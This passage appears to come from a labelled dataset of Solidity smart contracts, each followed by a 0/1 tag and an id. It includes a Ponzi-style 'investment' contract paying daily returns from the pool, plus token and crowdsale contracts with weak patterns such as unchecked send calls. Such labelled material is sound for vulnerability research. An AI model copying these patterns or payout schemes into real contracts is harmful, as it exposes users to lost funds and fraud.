m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.investorMaxInvestment = 50 ether; m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, address(m_privEnter.rev1Storage), address(m_privEnter.rev2Storage), m_privEnter.investorMaxInvestment, m_privEnter.endTimestamp ); } function setAdvertisingAddress(address addr) public onlyOwner { addr.requireNotZero(); advertisingAddress = addr; } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner { m_privEnter.provideAccessFor(addrs); } function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) { investment = m_rgp.maxInvestmentAtNow(); } function investorsNumber() public view returns(uint) { return m_investors.size(); } function balanceETH() public view returns(uint) { return address(this).balance; } function advertisingPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function investorInfo(address investorAddr) public view returns(uint investment, uint paymentTime, bool isReferral) { (investment, paymentTime) = m_investors.investorInfo(investorAddr); isReferral = m_referrals[investorAddr]; } function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) { dividends = calcDividends(investorAddr); } function dailyPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = dailyPercent(); (numerator, denominator) = (p.num, p.den); } function getMyDividends() public notFromContract balanceChanged { require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours); uint dividends = calcDividends(msg.sender); require (dividends.notZero(), "cannot to pay zero dividends"); assert(m_investors.setPaymentTime(msg.sender, now)); if (address(this).balance <= dividends) { nextWave(); dividends = address(this).balance; } msg.sender.transfer(dividends); emit LogPayDividends(msg.sender, now, dividends); } function doInvest(address referrerAddr) public payable notFromContract balanceChanged { uint investment = msg.value; uint receivedEther = msg.value; require(investment >= minInvesment, "investment must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); if (m_rgp.isActive()) { uint rpgMaxInvest = m_rgp.maxInvestmentAtNow(); rpgMaxInvest.requireNotZero(); investment = Math.min(investment, rpgMaxInvest); assert(m_rgp.saveInvestment(investment)); emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay()); } else if (m_privEnter.isActive()) { uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender); peMaxInvest.requireNotZero(); investment = Math.min(investment, peMaxInvest); } if (receivedEther > investment) { uint excess = receivedEther - investment; msg.sender.transfer(excess); receivedEther = investment; emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess); } advertisingAddress.send(m_advertisingPercent.mul(receivedEther)); adminsAddress.send(m_adminsPercent.mul(receivedEther)); bool senderIsInvestor = m_investors.isInvestor(msg.sender); if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] && referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) { m_referrals[msg.sender] = true; uint referrerBonus = m_referrer_percent.mmul(investment); if (investment > 10 ether) { referrerBonus = m_referrer_percentMax.mmul(investment); } uint referalBonus = m_referal_percent.mmul(investment); assert(m_investors.addInvestment(referrerAddr, referrerBonus)); investment += referalBonus; emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus); } uint dividends = calcDividends(msg.sender); if (senderIsInvestor && dividends.notZero()) { investment += dividends; emit LogAutomaticReinvest(msg.sender, now, dividends); } if (senderIsInvestor) { assert(m_investors.addInvestment(msg.sender, investment)); assert(m_investors.setPaymentTime(msg.sender, now)); } else { assert(m_investors.newInvestor(msg.sender, investment, now)); emit LogNewInvestor(msg.sender, now); } investmentsNumber++; emit LogNewInvesment(msg.sender, now, investment, receivedEther); } function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) { (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr); return InvestorsStorage.Investor(investment, paymentTime); } function calcDividends(address investorAddr) internal view returns(uint dividends) { InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr); if (investor.investment.isZero() || now.sub(investor.paymentTime) < 10 minutes) { return 0; } Percent.percent memory p = dailyPercent(); dividends = (now.sub(investor.paymentTime) / 10 minutes) * p.mmul(investor.investment) / 144; } function dailyPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; if (balance < 5 ether) { p = m_5_percent.toMemory(); } else if ( 5 ether <= balance && balance <= 10 ether) { p = m_6_percent.toMemory(); } else if ( 10 ether <= balance && balance <= 30 ether) { p = m_7_percent.toMemory(); } else if ( 30 ether <= balance && balance <= 50 ether) { p = m_8_percent.toMemory(); } else if ( 50 ether <= balance && balance <= 100 ether) { p = m_9_percent.toMemory(); } else if ( 100 ether <= balance && balance <= 300 ether) { p = m_10_percent.toMemory(); } else if ( 300 ether <= balance && balance <= 500 ether) { p = m_11_percent.toMemory(); } else { p = m_12_percent.toMemory(); } } function nextWave() private { m_investors = new InvestorsStorage(); investmentsNumber = 0; waveStartup = now; m_rgp.startAt(now); emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays); emit LogNextWave(now); } }
0
2,568
pragma solidity ^0.5.2; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.2; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } pragma solidity ^0.5.2; contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } pragma solidity ^0.5.2; contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.2; library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } pragma solidity ^0.5.2; contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } pragma solidity ^0.5.2; contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } pragma solidity ^0.5.2; contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } pragma solidity ^0.5.2; contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } pragma solidity ^0.5.2; contract ERC20Mintable is ERC20, MinterRole { function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } pragma solidity ^0.5.2; contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } pragma solidity ^0.5.2; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.2; contract SignerRole { using Roles for Roles.Role; event SignerAdded(address indexed account); event SignerRemoved(address indexed account); Roles.Role private _signers; constructor () internal { _addSigner(msg.sender); } modifier onlySigner() { require(isSigner(msg.sender)); _; } function isSigner(address account) public view returns (bool) { return _signers.has(account); } function addSigner(address account) public onlySigner { _addSigner(account); } function renounceSigner() public { _removeSigner(msg.sender); } function _addSigner(address account) internal { _signers.add(account); emit SignerAdded(account); } function _removeSigner(address account) internal { _signers.remove(account); emit SignerRemoved(account); } } pragma solidity ^0.5.2; library ECDSA { function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { if (signature.length != 65) { return (address(0)); } bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } return ecrecover(hash, v, r, s); } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.5.2; contract SignatureBouncer is SignerRole { using ECDSA for bytes32; uint256 private constant _METHOD_ID_SIZE = 4; uint256 private constant _SIGNATURE_SIZE = 96; constructor () internal { } modifier onlyValidSignature(bytes memory signature) { require(_isValidSignature(msg.sender, signature)); _; } modifier onlyValidSignatureAndMethod(bytes memory signature) { require(_isValidSignatureAndMethod(msg.sender, signature)); _; } modifier onlyValidSignatureAndData(bytes memory signature) { require(_isValidSignatureAndData(msg.sender, signature)); _; } function _isValidSignature(address account, bytes memory signature) internal view returns (bool) { return _isValidDataHash(keccak256(abi.encodePacked(address(this), account)), signature); } function _isValidSignatureAndMethod(address account, bytes memory signature) internal view returns (bool) { bytes memory data = new bytes(_METHOD_ID_SIZE); for (uint i = 0; i < data.length; i++) { data[i] = msg.data[i]; } return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature); } function _isValidSignatureAndData(address account, bytes memory signature) internal view returns (bool) { require(msg.data.length > _SIGNATURE_SIZE); bytes memory data = new bytes(msg.data.length - _SIGNATURE_SIZE); for (uint i = 0; i < data.length; i++) { data[i] = msg.data[i]; } return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature); } function _isValidDataHash(bytes32 hash, bytes memory signature) internal view returns (bool) { address signer = hash.toEthSignedMessageHash().recover(signature); return signer != address(0) && isSigner(signer); } } pragma solidity ^0.5.2; library ERC165Checker { bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; function _supportsERC165(address account) internal view returns (bool) { return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } function _supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { return _supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } function _supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { if (!_supportsERC165(account)) { return false; } for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } return true; } function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { (bool success, bool result) = _callERC165SupportsInterface(account, interfaceId); return (success && result); } function _callERC165SupportsInterface(address account, bytes4 interfaceId) private view returns (bool success, bool result) { bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId); assembly { let encodedParams_data := add(0x20, encodedParams) let encodedParams_size := mload(encodedParams) let output := mload(0x40) mstore(output, 0x0) success := staticcall( 30000, account, encodedParams_data, encodedParams_size, output, 0x20 ) result := mload(output) } } } pragma solidity ^0.5.2; contract TorocusToken is ERC20Detailed, ERC20Mintable, ERC20Burnable, ERC20Pausable, SignatureBouncer { using SafeMath for uint256; mapping (address => mapping (uint256 => bool)) public _usedNonce; constructor( string memory name, string memory symbol, uint8 decimals, uint256 initialSupply, address initialHolder, address minter, address signer, address pauser ) ERC20Detailed(name, symbol, decimals) SignatureBouncer() ERC20Mintable() ERC20Pausable() public { _mint(initialHolder, initialSupply); _addMinter(minter); _addPauser(pauser); _addSigner(signer); } modifier isNotUsedNonce(address from, uint256 nonce) { require(!_usedNonce[from][nonce]); _; } function transferDelegatedWithSign( address from, address to, uint256 amount, uint256 fee, uint256 nonce, string memory message, bytes memory signature ) public whenNotPaused isNotUsedNonce(msg.sender, nonce) onlyValidSignatureAndData(signature) returns (bool success) { require(from != address(0)); require(to != address(0)); require(from != to); require(msg.sender != to); require(msg.sender != from); require(balanceOf(from) >= amount.add(fee), "not enough balance"); if(fee > 0) { _transfer(from, msg.sender, fee); } _transfer(from, to, amount); _usedNonce[msg.sender][nonce] = true; return true; } }
0
64
pragma solidity ^0.4.18; contract SafeMath { function safeAdd(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract GoodDayToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public startDate; uint public bonusEnds; uint public endDate; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function GoodDayToken() public { symbol = "GDY"; name = "GoodDay Token"; decimals = 18; bonusEnds = now + 1 weeks; endDate = now + 12 weeks; } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { require(now >= startDate && now <= endDate); uint tokens; if (now <= bonusEnds) { tokens = msg.value * 1200; } else { tokens = msg.value * 1000; } balances[msg.sender] = safeAdd(balances[msg.sender], tokens); _totalSupply = safeAdd(_totalSupply, tokens); Transfer(address(0), msg.sender, tokens); owner.transfer(msg.value); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
1
3,884
pragma solidity ^0.4.18; interface token { function transfer(address receiver, uint amount) external; } contract Crowdsale { uint256 public price; token public tokenReward; address owner; uint256 public amount; modifier onlyCreator() { require(msg.sender == owner); _; } constructor(address addressOfTokenUsedAsReward) public { owner = msg.sender; price = 0.00028 ether; tokenReward = token(addressOfTokenUsedAsReward); } function updateOwner(address newOwner) public onlyCreator{ owner = newOwner; } function () payable public { amount = msg.value; uint256 tobesent = amount/price; tokenReward.transfer(msg.sender, tobesent*10e7); } function safeWithdrawal() public onlyCreator { uint amount = address(this).balance; owner.send(amount); } }
0
2,062
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } pragma solidity^0.4.11; library DLL { uint constant NULL_NODE_ID = 0; struct Node { uint next; uint prev; } struct Data { mapping(uint => Node) dll; } function isEmpty(Data storage self) public view returns (bool) { return getStart(self) == NULL_NODE_ID; } function contains(Data storage self, uint _curr) public view returns (bool) { if (isEmpty(self) || _curr == NULL_NODE_ID) { return false; } bool isSingleNode = (getStart(self) == _curr) && (getEnd(self) == _curr); bool isNullNode = (getNext(self, _curr) == NULL_NODE_ID) && (getPrev(self, _curr) == NULL_NODE_ID); return isSingleNode || !isNullNode; } function getNext(Data storage self, uint _curr) public view returns (uint) { return self.dll[_curr].next; } function getPrev(Data storage self, uint _curr) public view returns (uint) { return self.dll[_curr].prev; } function getStart(Data storage self) public view returns (uint) { return getNext(self, NULL_NODE_ID); } function getEnd(Data storage self) public view returns (uint) { return getPrev(self, NULL_NODE_ID); } function insert(Data storage self, uint _prev, uint _curr, uint _next) public { require(_curr != NULL_NODE_ID); remove(self, _curr); require(_prev == NULL_NODE_ID || contains(self, _prev)); require(_next == NULL_NODE_ID || contains(self, _next)); require(getNext(self, _prev) == _next); require(getPrev(self, _next) == _prev); self.dll[_curr].prev = _prev; self.dll[_curr].next = _next; self.dll[_prev].next = _curr; self.dll[_next].prev = _curr; } function remove(Data storage self, uint _curr) public { if (!contains(self, _curr)) { return; } uint next = getNext(self, _curr); uint prev = getPrev(self, _curr); self.dll[next].prev = prev; self.dll[prev].next = next; delete self.dll[_curr]; } } pragma solidity^0.4.11; library AttributeStore { struct Data { mapping(bytes32 => uint) store; } function getAttribute(Data storage self, bytes32 _UUID, string _attrName) public view returns (uint) { bytes32 key = keccak256(_UUID, _attrName); return self.store[key]; } function setAttribute(Data storage self, bytes32 _UUID, string _attrName, uint _attrVal) public { bytes32 key = keccak256(_UUID, _attrName); self.store[key] = _attrVal; } } pragma solidity ^0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.4.24; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } pragma solidity ^0.4.8; contract PLCRVoting { event _VoteCommitted(uint indexed pollID, uint numTokens, address indexed voter); event _VoteRevealed(uint indexed pollID, uint numTokens, uint votesFor, uint votesAgainst, uint indexed choice, address indexed voter, uint salt); event _PollCreated(uint voteQuorum, uint commitEndDate, uint revealEndDate, uint indexed pollID, address indexed creator); event _VotingRightsGranted(uint numTokens, address indexed voter); event _VotingRightsWithdrawn(uint numTokens, address indexed voter); event _TokensRescued(uint indexed pollID, address indexed voter); using AttributeStore for AttributeStore.Data; using DLL for DLL.Data; using SafeMath for uint; struct Poll { uint commitEndDate; uint revealEndDate; uint voteQuorum; uint votesFor; uint votesAgainst; mapping(address => bool) didCommit; mapping(address => bool) didReveal; } uint constant public INITIAL_POLL_NONCE = 0; uint public pollNonce; mapping(uint => Poll) public pollMap; mapping(address => uint) public voteTokenBalance; mapping(address => DLL.Data) dllMap; AttributeStore.Data store; IERC20 public token; constructor(address _token) public { require(_token != 0); token = IERC20(_token); pollNonce = INITIAL_POLL_NONCE; } function requestVotingRights(uint _numTokens) public { require(token.balanceOf(msg.sender) >= _numTokens); voteTokenBalance[msg.sender] += _numTokens; require(token.transferFrom(msg.sender, this, _numTokens)); emit _VotingRightsGranted(_numTokens, msg.sender); } function withdrawVotingRights(uint _numTokens) external { uint availableTokens = voteTokenBalance[msg.sender].sub(getLockedTokens(msg.sender)); require(availableTokens >= _numTokens); voteTokenBalance[msg.sender] -= _numTokens; require(token.transfer(msg.sender, _numTokens)); emit _VotingRightsWithdrawn(_numTokens, msg.sender); } function rescueTokens(uint _pollID) public { require(isExpired(pollMap[_pollID].revealEndDate)); require(dllMap[msg.sender].contains(_pollID)); dllMap[msg.sender].remove(_pollID); emit _TokensRescued(_pollID, msg.sender); } function rescueTokensInMultiplePolls(uint[] _pollIDs) public { for (uint i = 0; i < _pollIDs.length; i++) { rescueTokens(_pollIDs[i]); } } function commitVote(uint _pollID, bytes32 _secretHash, uint _numTokens, uint _prevPollID) public { require(commitPeriodActive(_pollID)); if (voteTokenBalance[msg.sender] < _numTokens) { uint remainder = _numTokens.sub(voteTokenBalance[msg.sender]); requestVotingRights(remainder); } require(voteTokenBalance[msg.sender] >= _numTokens); require(_pollID != 0); require(_secretHash != 0); require(_prevPollID == 0 || dllMap[msg.sender].contains(_prevPollID)); uint nextPollID = dllMap[msg.sender].getNext(_prevPollID); if (nextPollID == _pollID) { nextPollID = dllMap[msg.sender].getNext(_pollID); } require(validPosition(_prevPollID, nextPollID, msg.sender, _numTokens)); dllMap[msg.sender].insert(_prevPollID, _pollID, nextPollID); bytes32 UUID = attrUUID(msg.sender, _pollID); store.setAttribute(UUID, "numTokens", _numTokens); store.setAttribute(UUID, "commitHash", uint(_secretHash)); pollMap[_pollID].didCommit[msg.sender] = true; emit _VoteCommitted(_pollID, _numTokens, msg.sender); } function commitVotes(uint[] _pollIDs, bytes32[] _secretHashes, uint[] _numsTokens, uint[] _prevPollIDs) external { require(_pollIDs.length == _secretHashes.length); require(_pollIDs.length == _numsTokens.length); require(_pollIDs.length == _prevPollIDs.length); for (uint i = 0; i < _pollIDs.length; i++) { commitVote(_pollIDs[i], _secretHashes[i], _numsTokens[i], _prevPollIDs[i]); } } function validPosition(uint _prevID, uint _nextID, address _voter, uint _numTokens) public constant returns (bool valid) { bool prevValid = (_numTokens >= getNumTokens(_voter, _prevID)); bool nextValid = (_numTokens <= getNumTokens(_voter, _nextID) || _nextID == 0); return prevValid && nextValid; } function revealVote(uint _pollID, uint _voteOption, uint _salt) public { require(revealPeriodActive(_pollID)); require(pollMap[_pollID].didCommit[msg.sender]); require(!pollMap[_pollID].didReveal[msg.sender]); require(keccak256(_voteOption, _salt) == getCommitHash(msg.sender, _pollID)); uint numTokens = getNumTokens(msg.sender, _pollID); if (_voteOption == 1) { pollMap[_pollID].votesFor += numTokens; } else { pollMap[_pollID].votesAgainst += numTokens; } dllMap[msg.sender].remove(_pollID); pollMap[_pollID].didReveal[msg.sender] = true; emit _VoteRevealed(_pollID, numTokens, pollMap[_pollID].votesFor, pollMap[_pollID].votesAgainst, _voteOption, msg.sender, _salt); } function revealVotes(uint[] _pollIDs, uint[] _voteOptions, uint[] _salts) external { require(_pollIDs.length == _voteOptions.length); require(_pollIDs.length == _salts.length); for (uint i = 0; i < _pollIDs.length; i++) { revealVote(_pollIDs[i], _voteOptions[i], _salts[i]); } } function getNumPassingTokens(address _voter, uint _pollID, uint _salt) public constant returns (uint correctVotes) { require(pollEnded(_pollID)); require(pollMap[_pollID].didReveal[_voter]); uint winningChoice = isPassed(_pollID) ? 1 : 0; bytes32 winnerHash = keccak256(winningChoice, _salt); bytes32 commitHash = getCommitHash(_voter, _pollID); require(winnerHash == commitHash); return getNumTokens(_voter, _pollID); } function startPoll(uint _voteQuorum, uint _commitDuration, uint _revealDuration) public returns (uint pollID) { pollNonce = pollNonce + 1; uint commitEndDate = block.timestamp.add(_commitDuration); uint revealEndDate = commitEndDate.add(_revealDuration); pollMap[pollNonce] = Poll({ voteQuorum: _voteQuorum, commitEndDate: commitEndDate, revealEndDate: revealEndDate, votesFor: 0, votesAgainst: 0 }); emit _PollCreated(_voteQuorum, commitEndDate, revealEndDate, pollNonce, msg.sender); return pollNonce; } function isPassed(uint _pollID) constant public returns (bool passed) { require(pollEnded(_pollID)); Poll memory poll = pollMap[_pollID]; return (100 * poll.votesFor) > (poll.voteQuorum * (poll.votesFor + poll.votesAgainst)); } function getTotalNumberOfTokensForWinningOption(uint _pollID) constant public returns (uint numTokens) { require(pollEnded(_pollID)); if (isPassed(_pollID)) return pollMap[_pollID].votesFor; else return pollMap[_pollID].votesAgainst; } function pollEnded(uint _pollID) constant public returns (bool ended) { require(pollExists(_pollID)); return isExpired(pollMap[_pollID].revealEndDate); } function commitPeriodActive(uint _pollID) constant public returns (bool active) { require(pollExists(_pollID)); return !isExpired(pollMap[_pollID].commitEndDate); } function revealPeriodActive(uint _pollID) constant public returns (bool active) { require(pollExists(_pollID)); return !isExpired(pollMap[_pollID].revealEndDate) && !commitPeriodActive(_pollID); } function didCommit(address _voter, uint _pollID) constant public returns (bool committed) { require(pollExists(_pollID)); return pollMap[_pollID].didCommit[_voter]; } function didReveal(address _voter, uint _pollID) constant public returns (bool revealed) { require(pollExists(_pollID)); return pollMap[_pollID].didReveal[_voter]; } function pollExists(uint _pollID) constant public returns (bool exists) { return (_pollID != 0 && _pollID <= 